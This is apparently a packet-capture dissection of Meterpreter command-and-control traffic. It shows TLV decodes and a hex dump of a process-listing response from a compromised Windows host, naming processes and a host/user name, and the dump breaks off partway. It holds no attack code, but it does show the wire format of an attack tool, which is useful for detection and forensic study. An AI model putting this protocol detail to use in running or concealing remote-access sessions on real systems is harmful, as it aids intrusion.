Meterpreter protocol, TLV details
```

```
    Data: 0000005e400008ff0000000c000208fc00000b9000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000b90000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc0000068000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00000680000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc0000103000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001030000000240001041273666370... [Value] ⍰⍰⍰�⍰0$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc000006b000000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000006b0000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc000014c800000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000014c8000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00001db800000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001db8000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc0000101400000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001014000000240001041273666370... [Value] ⍰⍰⍰�⍰⍰$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc000018ec00000024... [TLV]
    Command: 0x0000005e [Length]: 94
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc000018ec000000240001041273666370... [Value] ⍰⍰⍰�⍰�$⍰⍰⍰sfcpro3-chemi\chemi-
usuario⍰⍰⍰�chrome.exe⍰⍰⍰�chrome.exe
Meterpreter protocol, TLV details
    Data: 0000005e400008ff0000000c000208fc00001c4000000024... [TLV]
    Command: 0x0000005e [Length]: 46
    Type: 0x400008ff [Type: Response]: TLV_TYPE_PROCESS_GROUP
    Data: 0000000c000208fc00001c40000000240001041273666370... [Value] ⍰⍰⍰�⍰@$⍰⍰⍰sfcpro3-chemi\chem
0000  08 00 27 cd 55 8f 4c 0b be 1f f2 4c 08 00 45 00   ..'.U.L....L..E.
0010  20 28 0d a7 40 00 80 06 49 85 c0 a8 01 29 c0 a8    (..@...I....)..
0020  01 2a c6 50 11 5c a3 78 f9 f1 2e 7d 39 b8 50 18   .*.P.\.x...}9.P.
0030  08 01 a3 be 00 00 00 00 2d f0 00 00 00 01 00 00   ........-.......
0040  00 29 00 01 00 01 73 74 64 61 70 69 5f 73 79 73   .)....stdapi_sys
0050  5f 70 72 6f 63 65 73 73 5f 67 65 74 5f 70 72 6f   _process_get_pro
0060  63 65 73 73 65 73 00 00 00 00 29 00 01 00 02 38   cesses....)....8
0070  31 36 31 37 33 37 36 36 30 34 32 37 39 30 31 34   1617376604279014
0080  37 32 36 32 31 36 32 32 33 33 37 33 38 39 37 00   726216223373897.
0090  00 00 00 68 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...h@...........
00a0  00 00 00 00 00 00 00 1c 00 01 04 12 4e 54 20 41   ............NT A
00b0  55 54 48 4f 52 49 54 59 5c 53 59 53 54 45 4d 00   UTHORITY\SYSTEM.
00c0  00 00 00 1c 00 01 08 fd 53 79 73 74 65 6d 20 49   ........System I
00d0  64 6c 65 20 50 72 6f 63 65 73 73 00 00 00 00 1c   dle Process.....
00e0  00 01 08 fe 53 79 73 74 65 6d 20 49 64 6c 65 20   ....System Idle 
00f0  50 72 6f 63 65 73 73 00 00 00 00 3e 40 00 08 ff   Process....>@...
0100  00 00 00 0c 00 02 08 fc 00 00 00 04 00 00 00 0c   ................
0110  00 01 04 12 4e 2f 41 00 00 00 00 0f 00 01 08 fd   ....N/A.........
0120  53 79 73 74 65 6d 00 00 00 00 0f 00 01 08 fe 53   System.........S
0130  79 73 74 65 6d 00 00 00 00 42 40 00 08 ff 00 00   ystem....B@.....
0140  00 0c 00 02 08 fc 00 00 01 70 00 00 00 0c 00 01   .........p......
0150  04 12 4e 2f 41 00 00 00 00 11 00 01 08 fd 73 6d   ..N/A.........sm
0160  73 73 2e 65 78 65 00 00 00 00 11 00 01 08 fe 73   ss.exe.........s
0170  6d 73 73 2e 65 78 65 00 00 00 00 44 40 00 08 ff   mss.exe....D@...
0180  00 00 00 0c 00 02 08 fc 00 00 02 24 00 00 00 0c   ...........$....
0190  00 01 04 12 4e 2f 41 00 00 00 00 12 00 01 08 fd   ....N/A.........
01a0  63 73 72 73 73 2e 65 78 65 00 00 00 00 12 00 01   csrss.exe.......
01b0  08 fe 63 73 72 73 73 2e 65 78 65 00 00 00 00 48   ..csrss.exe....H
01c0  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 02 78   @..............x
01d0  00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00 00 14   ........N/A.....
```

```
01e0  00 01 08 fd 77 69 6e 69 6e 69 74 2e 65 78 65 00   ....wininit.exe.
01f0  00 00 00 14 00 01 08 fe 77 69 6e 69 6e 69 74 2e   ........wininit.
0200  65 78 65 00 00 00 00 4a 40 00 08 ff 00 00 00 0c   exe....J@.......
0210  00 02 08 fc 00 00 02 fc 00 00 00 0c 00 01 04 12   ................
0220  4e 2f 41 00 00 00 00 15 00 01 08 fd 73 65 72 76   N/A.........serv
0230  69 63 65 73 2e 65 78 65 00 00 00 00 15 00 01 08   ices.exe........
0240  fe 73 65 72 76 69 63 65 73 2e 65 78 65 00 00 00   .services.exe...
0250  00 44 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .D@.............
0260  03 04 00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00   ..........N/A...
0270  00 12 00 01 08 fd 6c 73 61 73 73 2e 65 78 65 00   ......lsass.exe.
0280  00 00 00 12 00 01 08 fe 6c 73 61 73 73 2e 65 78   ........lsass.ex
0290  65 00 00 00 00 48 40 00 08 ff 00 00 00 0c 00 02   e....H@.........
02a0  08 fc 00 00 03 60 00 00 00 0c 00 01 04 12 4e 2f   .....`........N/
02b0  41 00 00 00 00 14 00 01 08 fd 73 76 63 68 6f 73   A.........svchos
02c0  74 2e 65 78 65 00 00 00 00 14 00 01 08 fe 73 76   t.exe.........sv
02d0  63 68 6f 73 74 2e 65 78 65 00 00 00 00 48 40 00   chost.exe....H@.
02e0  08 ff 00 00 00 0c 00 02 08 fc 00 00 03 a4 00 00   ................
02f0  00 0c 00 01 04 12 4e 2f 41 00 00 00 00 14 00 01   ......N/A.......
0300  08 fd 73 76 63 68 6f 73 74 2e 65 78 65 00 00 00   ..svchost.exe...
0310  00 14 00 01 08 fe 73 76 63 68 6f 73 74 2e 65 78   ......svchost.ex
0320  65 00 00 00 00 48 40 00 08 ff 00 00 00 0c 00 02   e....H@.........
0330  08 fc 00 00 01 5c 00 00 00 0c 00 01 04 12 4e 2f   .....\........N/
0340  41 00 00 00 00 14 00 01 08 fd 73 76 63 68 6f 73   A.........svchos
0350  74 2e 65 78 65 00 00 00 00 14 00 01 08 fe 73 76   t.exe.........sv
0360  63 68 6f 73 74 2e 65 78 65 00 00 00 00 48 40 00   chost.exe....H@.
0370  08 ff 00 00 00 0c 00 02 08 fc 00 00 01 98 00 00   ................
0380  00 0c 00 01 04 12 4e 2f 41 00 00 00 00 14 00 01   ......N/A.......
0390  08 fd 73 76 63 68 6f 73 74 2e 65 78 65 00 00 00   ..svchost.exe...
03a0  00 14 00 01 08 fe 73 76 63 68 6f 73 74 2e 65 78   ......svchost.ex
03b0  65 00 00 00 00 48 40 00 08 ff 00 00 00 0c 00 02   e....H@.........
03c0  08 fc 00 00 02 74 00 00 00 0c 00 01 04 12 4e 2f   .....t........N/
03d0  41 00 00 00 00 14 00 01 08 fd 73 76 63 68 6f 73   A.........svchos
03e0  74 2e 65 78 65 00 00 00 00 14 00 01 08 fe 73 76   t.exe.........sv
03f0  63 68 6f 73 74 2e 65 78 65 00 00 00 00 48 40 00   chost.exe....H@.
0400  08 ff 00 00 00 0c 00 02 08 fc 00 00 04 24 00 00   .............$..
0410  00 0c 00 01 04 12 4e 2f 41 00 00 00 00 14 00 01   ......N/A.......
0420  08 fd 73 76 63 68 6f 73 74 2e 65 78 65 00 00 00   ..svchost.exe...
0430  00 14 00 01 08 fe 73 76 63 68 6f 73 74 2e 65 78   ......svchost.ex
0440  65 00 00 00 00 48 40 00 08 ff 00 00 00 0c 00 02   e....H@.........
0450  08 fc 00 00 04 64 00 00 00 0c 00 01 04 12 4e 2f   .....d........N/
0460  41 00 00 00 00 14 00 01 08 fd 73 76 63 68 6f 73   A.........svchos
0470  74 2e 65 78 65 00 00 00 00 14 00 01 08 fe 73 76   t.exe.........sv
0480  63 68 6f 73 74 2e 65 78 65 00 00 00 00 4a 40 00   chost.exe....J@.
0490  08 ff 00 00 00 0c 00 02 08 fc 00 00 04 7c 00 00   .............|..
04a0  00 0c 00 01 04 12 4e 2f 41 00 00 00 00 15 00 01   ......N/A.......
04b0  08 fd 57 55 44 46 48 6f 73 74 2e 65 78 65 00 00   ..WUDFHost.exe..
04c0  00 00 15 00 01 08 fe 57 55 44 46 48 6f 73 74 2e   .......WUDFHost.
04d0  65 78 65 00 00 00 00 48 40 00 08 ff 00 00 00 0c   exe....H@.......
04e0  00 02 08 fc 00 00 04 cc 00 00 00 0c 00 01 04 12   ................
04f0  4e 2f 41 00 00 00 00 14 00 01 08 fd 73 76 63 68   N/A.........svch
0500  6f 73 74 2e 65 78 65 00 00 00 00 14 00 01 08 fe   ost.exe.........
0510  73 76 63 68 6f 73 74 2e 65 78 65 00 00 00 00 48   svchost.exe....H
0520  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 05 64   @..............d
0530  00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00 00 14   ........N/A.....
0540  00 01 08 fd 73 76 63 68 6f 73 74 2e 65 78 65 00   ....svchost.exe.
0550  00 00 00 14 00 01 08 fe 73 76 63 68 6f 73 74 2e   ........svchost.
0560  65 78 65 00 00 00 00 48 40 00 08 ff 00 00 00 0c   exe....H@.......
0570  00 02 08 fc 00 00 06 60 00 00 00 0c 00 01 04 12   .......`........
0580  4e 2f 41 00 00 00 00 14 00 01 08 fd 73 76 63 68   N/A.........svch
0590  6f 73 74 2e 65 78 65 00 00 00 00 14 00 01 08 fe   ost.exe.........
05a0  73 76 63 68 6f 73 74 2e 65 78 65 00 00 00 00 48   svchost.exe....H
05b0  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 06 98   @...............
05c0  00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00 00 14   ........N/A.....
05d0  00 01 08 fd 73 76 63 68 6f 73 74 2e 65 78 65 00   ....svchost.exe.
05e0  00 00 00 14 00 01 08 fe 73 76 63 68 6f 73 74 2e   ........svchost.
05f0  65 78 65 00 00 00 00 48 40 00 08 ff 00 00 00 0c   exe....H@.......
0600  00 02 08 fc 00 00 07 94 00 00 00 0c 00 01 04 12   ................
0610  4e 2f 41 00 00 00 00 14 00 01 08 fd 73 76 63 68   N/A.........svch
0620  6f 73 74 2e 65 78 65 00 00 00 00 14 00 01 08 fe   ost.exe.........
0630  73 76 63 68 6f 73 74 2e 65 78 65 00 00 00 00 48   svchost.exe....H
0640  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 03 78   @..............x
0650  00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00 00 14   ........N/A.....
0660  00 01 08 fd 73 70 6f 6f 6c 73 76 2e 65 78 65 00   ....spoolsv.exe.
0670  00 00 00 14 00 01 08 fe 73 70 6f 6f 6c 73 76 2e   ........spoolsv.
0680  65 78 65 00 00 00 00 46 40 00 08 ff 00 00 00 0c   exe....F@.......
0690  00 02 08 fc 00 00 08 c4 00 00 00 0c 00 01 04 12   ................
06a0  4e 2f 41 00 00 00 00 13 00 01 08 fd 61 72 6d 73   N/A.........arms
06b0  76 63 2e 65 78 65 00 00 00 00 13 00 01 08 fe 61   vc.exe.........a
06c0  72 6d 73 76 63 2e 65 78 65 00 00 00 00 54 40 00   rmsvc.exe....T@.
06d0  08 ff 00 00 00 0c 00 02 08 fc 00 00 08 cc 00 00   ................
06e0  00 0c 00 01 04 12 4e 2f 41 00 00 00 00 1a 00 01   ......N/A.......
06f0  08 fd 6d 44 4e 53 52 65 73 70 6f 6e 64 65 72 2e   ..mDNSResponder.
0700  65 78 65 00 00 00 00 1a 00 01 08 fe 6d 44 4e 53   exe.........mDNS
0710  52 65 73 70 6f 6e 64 65 72 2e 65 78 65 00 00 00   Responder.exe...
0720  00 6a 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .j@.............
```

```
0730  08 d4 00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00   ..........N/A...
0740  00 25 00 01 08 fd 41 70 70 6c 65 4d 6f 62 69 6c   .%....AppleMobil
0750  65 44 65 76 69 63 65 53 65 72 76 69 63 65 2e 65   eDeviceService.e
0760  78 65 00 00 00 00 25 00 01 08 fe 41 70 70 6c 65   xe....%....Apple
0770  4d 6f 62 69 6c 65 44 65 76 69 63 65 53 65 72 76   MobileDeviceServ
0780  69 63 65 2e 65 78 65 00 00 00 00 48 40 00 08 ff   ice.exe....H@...
0790  00 00 00 0c 00 02 08 fc 00 00 09 1c 00 00 00 0c   ................
07a0  00 01 04 12 4e 2f 41 00 00 00 00 14 00 01 08 fd   ....N/A.........
07b0  73 76 63 68 6f 73 74 2e 65 78 65 00 00 00 00 14   svchost.exe.....
07c0  00 01 08 fe 73 76 63 68 6f 73 74 2e 65 78 65 00   ....svchost.exe.
07d0  00 00 00 4e 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...N@...........
07e0  00 00 09 30 00 00 00 0c 00 01 04 12 4e 2f 41 00   ...0........N/A.
07f0  00 00 00 17 00 01 08 fd 63 72 65 61 74 6f 72 2d   ........creator-
0800  77 73 2e 65 78 65 00 00 00 00 17 00 01 08 fe 63   ws.exe.........c
0810  72 65 61 74 6f 72 2d 77 73 2e 65 78 65 00 00 00   reator-ws.exe...
0820  00 48 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .H@.............
0830  09 84 00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00   ..........N/A...
0840  00 14 00 01 08 fd 73 76 63 68 6f 73 74 2e 65 78   ......svchost.ex
0850  65 00 00 00 00 14 00 01 08 fe 73 76 63 68 6f 73   e.........svchos
0860  74 2e 65 78 65 00 00 00 00 48 40 00 08 ff 00 00   t.exe....H@.....
0870  00 0c 00 02 08 fc 00 00 09 94 00 00 00 0c 00 01   ................
0880  04 12 4e 2f 41 00 00 00 00 14 00 01 08 fd 73 76   ..N/A.........sv
0890  63 68 6f 73 74 2e 65 78 65 00 00 00 00 14 00 01   chost.exe.......
08a0  08 fe 73 76 63 68 6f 73 74 2e 65 78 65 00 00 00   ..svchost.exe...
08b0  00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .^@.............
08c0  09 9c 00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00   ..........N/A...
08d0  00 1f 00 01 08 fd 54 65 61 6d 56 69 65 77 65 72   ......TeamViewer
08e0  5f 53 65 72 76 69 63 65 2e 65 78 65 00 00 00 00   _Service.exe....
08f0  1f 00 01 08 fe 54 65 61 6d 56 69 65 77 65 72 5f   .....TeamViewer_
0900  53 65 72 76 69 63 65 2e 65 78 65 00 00 00 00 48   Service.exe....H
0910  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 09 a8   @...............
0920  00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00 00 14   ........N/A.....
0930  00 01 08 fd 4d 73 4d 70 45 6e 67 2e 65 78 65 00   ....MsMpEng.exe.
0940  00 00 00 14 00 01 08 fe 4d 73 4d 70 45 6e 67 2e   ........MsMpEng.
0950  65 78 65 00 00 00 00 48 40 00 08 ff 00 00 00 0c   exe....H@.......
0960  00 02 08 fc 00 00 09 e8 00 00 00 0c 00 01 04 12   ................
0970  4e 2f 41 00 00 00 00 14 00 01 08 fd 64 61 73 48   N/A.........dasH
0980  6f 73 74 2e 65 78 65 00 00 00 00 14 00 01 08 fe   ost.exe.........
0990  64 61 73 48 6f 73 74 2e 65 78 65 00 00 00 00 56   dasHost.exe....V
09a0  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 0a 90   @...............
09b0  00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00 00 1b   ........N/A.....
09c0  00 01 08 fd 4d 65 6d 6f 72 79 20 43 6f 6d 70 72   ....Memory Compr
09d0  65 73 73 69 6f 6e 00 00 00 00 1b 00 01 08 fe 4d   ession.........M
09e0  65 6d 6f 72 79 20 43 6f 6d 70 72 65 73 73 69 6f   emory Compressio
09f0  6e 00 00 00 00 46 40 00 08 ff 00 00 00 0c 00 02   n....F@.........
0a00  08 fc 00 00 0e 84 00 00 00 0c 00 01 04 12 4e 2f   ..............N/
0a10  41 00 00 00 00 13 00 01 08 fd 4e 69 73 53 72 76   A.........NisSrv
0a20  2e 65 78 65 00 00 00 00 13 00 01 08 fe 4e 69 73   .exe.........Nis
0a30  53 72 76 2e 65 78 65 00 00 00 00 44 40 00 08 ff   Srv.exe....D@...
0a40  00 00 00 0c 00 02 08 fc 00 00 0e 08 00 00 00 0c   ................
0a50  00 01 04 12 4e 2f 41 00 00 00 00 12 00 01 08 fd   ....N/A.........
0a60  63 73 72 73 73 2e 65 78 65 00 00 00 00 12 00 01   csrss.exe.......
0a70  08 fe 63 73 72 73 73 2e 65 78 65 00 00 00 00 4a   ..csrss.exe....J
0a80  40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00 0f 60   @..............`
0a90  00 00 00 0c 00 01 04 12 4e 2f 41 00 00 00 00 15   ........N/A.....
0aa0  00 01 08 fd 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65   ....winlogon.exe
0ab0  00 00 00 00 15 00 01 08 fe 77 69 6e 6c 6f 67 6f   .........winlogo
0ac0  6e 2e 65 78 65 00 00 00 00 40 40 00 08 ff 00 00   n.exe....@@.....
0ad0  00 0c 00 02 08 fc 00 00 05 f0 00 00 00 0c 00 01   ................
0ae0  04 12 4e 2f 41 00 00 00 00 10 00 01 08 fd 64 77   ..N/A.........dw
0af0  6d 2e 65 78 65 00 00 00 00 10 00 01 08 fe 64 77   m.exe.........dw
0b00  6d 2e 65 78 65 00 00 00 00 5e 40 00 08 ff 00 00   m.exe....^@.....
0b10  00 0c 00 02 08 fc 00 00 0b 60 00 00 00 24 00 01   .........`...$..
0b20  04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c   ..sfcpro3-chemi\
0b30  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00   chemi-usuario...
0b40  00 13 00 01 08 fd 73 69 68 6f 73 74 2e 65 78 65   ......sihost.exe
0b50  00 00 00 00 13 00 01 08 fe 73 69 68 6f 73 74 2e   .........sihost.
0b60  65 78 65 00 00 00 00 60 40 00 08 ff 00 00 00 0c   exe....`@.......
0b70  00 02 08 fc 00 00 0d 80 00 00 00 24 00 01 04 12   ...........$....
0b80  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
0b90  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 14   emi-usuario.....
0ba0  00 01 08 fd 73 76 63 68 6f 73 74 2e 65 78 65 00   ....svchost.exe.
0bb0  00 00 00 14 00 01 08 fe 73 76 63 68 6f 73 74 2e   ........svchost.
0bc0  65 78 65 00 00 00 00 64 40 00 08 ff 00 00 00 0c   exe....d@.......
0bd0  00 02 08 fc 00 00 0b c0 00 00 00 24 00 01 04 12   ...........$....
0be0  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
0bf0  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 16   emi-usuario.....
0c00  00 01 08 fd 74 61 73 6b 68 6f 73 74 77 2e 65 78   ....taskhostw.ex
0c10  65 00 00 00 00 16 00 01 08 fe 74 61 73 6b 68 6f   e.........taskho
0c20  73 74 77 2e 65 78 65 00 00 00 00 62 40 00 08 ff   stw.exe....b@...
0c30  00 00 00 0c 00 02 08 fc 00 00 05 2c 00 00 00 24   ...........,...$
0c40  00 01 04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d   ....sfcpro3-chem
0c50  69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00   i\chemi-usuario.
0c60  00 00 00 15 00 01 08 fd 65 78 70 6c 6f 72 65 72   ........explorer
0c70  2e 65 78 65 00 00 00 00 15 00 01 08 fe 65 78 70   .exe.........exp
```

```
0c80  6c 6f 72 65 72 2e 65 78 65 00 00 00 00 6c 40 00   lorer.exe....l@.
0c90  08 ff 00 00 00 0c 00 02 08 fc 00 00 10 bc 00 00   ................
0ca0  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
0cb0  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
0cc0  6f 00 00 00 00 1a 00 01 08 fd 52 75 6e 74 69 6d   o.........Runtim
0cd0  65 42 72 6f 6b 65 72 2e 65 78 65 00 00 00 00 1a   eBroker.exe.....
0ce0  00 01 08 fe 52 75 6e 74 69 6d 65 42 72 6f 6b 65   ....RuntimeBroke
0cf0  72 2e 65 78 65 00 00 00 00 78 40 00 08 ff 00 00   r.exe....x@.....
0d00  00 0c 00 02 08 fc 00 00 17 c0 00 00 00 24 00 01   .............$..
0d10  04 12 73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c   ..sfcpro3-chemi\
0d20  63 68 65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00   chemi-usuario...
0d30  00 20 00 01 08 fd 53 68 65 6c 6c 45 78 70 65 72   . ....ShellExper
0d40  69 65 6e 63 65 48 6f 73 74 2e 65 78 65 00 00 00   ienceHost.exe...
0d50  00 20 00 01 08 fe 53 68 65 6c 6c 45 78 70 65 72   . ....ShellExper
0d60  69 65 6e 63 65 48 6f 73 74 2e 65 78 65 00 00 00   ienceHost.exe...
0d70  00 62 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .b@.............
0d80  16 24 00 00 00 24 00 01 04 12 73 66 63 70 72 6f   .$...$....sfcpro
0d90  33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73   3-chemi\chemi-us
0da0  75 61 72 69 6f 00 00 00 00 15 00 01 08 fd 53 65   uario.........Se
0db0  61 72 63 68 55 49 2e 65 78 65 00 00 00 00 15 00   archUI.exe......
0dc0  01 08 fe 53 65 61 72 63 68 55 49 2e 65 78 65 00   ...SearchUI.exe.
0dd0  00 00 00 5e 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...^@...........
0de0  00 00 18 88 00 00 00 24 00 01 04 12 73 66 63 70   .......$....sfcp
0df0  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
0e00  75 73 75 61 72 69 6f 00 00 00 00 13 00 01 08 fd   usuario.........
0e10  54 61 62 54 69 70 2e 65 78 65 00 00 00 00 13 00   TabTip.exe......
0e20  01 08 fe 54 61 62 54 69 70 2e 65 78 65 00 00 00   ...TabTip.exe...
0e30  00 62 40 00 08 ff 00 00 00 0c 00 02 08 fc 00 00   .b@.............
0e40  1a 1c 00 00 00 24 00 01 04 12 73 66 63 70 72 6f   .....$....sfcpro
0e50  33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d 75 73   3-chemi\chemi-us
0e60  75 61 72 69 6f 00 00 00 00 15 00 01 08 fd 54 61   uario.........Ta
0e70  62 54 69 70 33 32 2e 65 78 65 00 00 00 00 15 00   bTip32.exe......
0e80  01 08 fe 54 61 62 54 69 70 33 32 2e 65 78 65 00   ...TabTip32.exe.
0e90  00 00 00 62 40 00 08 ff 00 00 00 0c 00 02 08 fc   ...b@...........
0ea0  00 00 10 50 00 00 00 24 00 01 04 12 73 66 63 70   ...P...$....sfcp
0eb0  72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d 69 2d   ro3-chemi\chemi-
0ec0  75 73 75 61 72 69 6f 00 00 00 00 15 00 01 08 fd   usuario.........
0ed0  4d 53 41 53 43 75 69 4c 2e 65 78 65 00 00 00 00   MSASCuiL.exe....
0ee0  15 00 01 08 fe 4d 53 41 53 43 75 69 4c 2e 65 78   .....MSASCuiL.ex
0ef0  65 00 00 00 00 62 40 00 08 ff 00 00 00 0c 00 02   e....b@.........
0f00  08 fc 00 00 19 c8 00 00 00 24 00 01 04 12 73 66   .........$....sf
0f10  63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68 65 6d   cpro3-chemi\chem
0f20  69 2d 75 73 75 61 72 69 6f 00 00 00 00 15 00 01   i-usuario.......
0f30  08 fd 4f 6e 65 44 72 69 76 65 2e 65 78 65 00 00   ..OneDrive.exe..
0f40  00 00 15 00 01 08 fe 4f 6e 65 44 72 69 76 65 2e   .......OneDrive.
0f50  65 78 65 00 00 00 00 70 40 00 08 ff 00 00 00 0c   exe....p@.......
0f60  00 02 08 fc 00 00 0d e0 00 00 00 24 00 01 04 12   ...........$....
0f70  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
0f80  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 1c   emi-usuario.....
0f90  00 01 08 fd 67 6f 6f 67 6c 65 64 72 69 76 65 73   ....googledrives
0fa0  79 6e 63 2e 65 78 65 00 00 00 00 1c 00 01 08 fe   ync.exe.........
0fb0  67 6f 6f 67 6c 65 64 72 69 76 65 73 79 6e 63 2e   googledrivesync.
0fc0  65 78 65 00 00 00 00 66 40 00 08 ff 00 00 00 0c   exe....f@.......
0fd0  00 02 08 fc 00 00 12 64 00 00 00 24 00 01 04 12   .......d...$....
0fe0  73 66 63 70 72 6f 33 2d 63 68 65 6d 69 5c 63 68   sfcpro3-chemi\ch
0ff0  65 6d 69 2d 75 73 75 61 72 69 6f 00 00 00 00 17   emi-usuario.....
1000  00 01 08 fd 76 73 70 64 66 70 72 73 72 76 2e 65   ....vspdfprsrv.e
1010  78 65 00 00 00 00 17 00 01 08 fe 76 73 70 64 66   xe.........vspdf
1020  70 72 73 72 76 2e 65 78 65 00 00 00 00 70 40 00   prsrv.exe....p@.
1030  08 ff 00 00 00 0c 00 02 08 fc 00 00 14 60 00 00   .............`..
1040  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
1050  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
1060  6f 00 00 00 00 1c 00 01 08 fd 67 6f 6f 67 6c 65   o.........google
1070  64 72 69 76 65 73 79 6e 63 2e 65 78 65 00 00 00   drivesync.exe...
1080  00 1c 00 01 08 fe 67 6f 6f 67 6c 65 64 72 69 76   ......googledriv
1090  65 73 79 6e 63 2e 65 78 65 00 00 00 00 50 40 00   esync.exe....P@.
10a0  08 ff 00 00 00 0c 00 02 08 fc 00 00 17 80 00 00   ................
10b0  00 0c 00 01 04 12 4e 2f 41 00 00 00 00 18 00 01   ......N/A.......
10c0  08 fd 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78   ..fontdrvhost.ex
10d0  65 00 00 00 00 18 00 01 08 fe 66 6f 6e 74 64 72   e.........fontdr
10e0  76 68 6f 73 74 2e 65 78 65 00 00 00 00 68 40 00   vhost.exe....h@.
10f0  08 ff 00 00 00 0c 00 02 08 fc 00 00 16 78 00 00   .............x..
1100  00 24 00 01 04 12 73 66 63 70 72 6f 33 2d 63 68   .$....sfcpro3-ch
1110  65 6d 69 5c 63 68 65 6d 69 2d 75 73 75 61 72 69   emi\chemi-usuari
1120  6f 00 00 00 00 18 00 01 08 fd 4c 6f 63 6b 41 70   o.........LockAp
1130  70 48 6f 73 74 2e 65 78 65 00 00 00 00 18 00 01   pHost.exe.......
1140  08 fe 4c 6f 63 6b 41 70 70 48 6f 73 74 2e 65 78   ..LockAppHost.ex
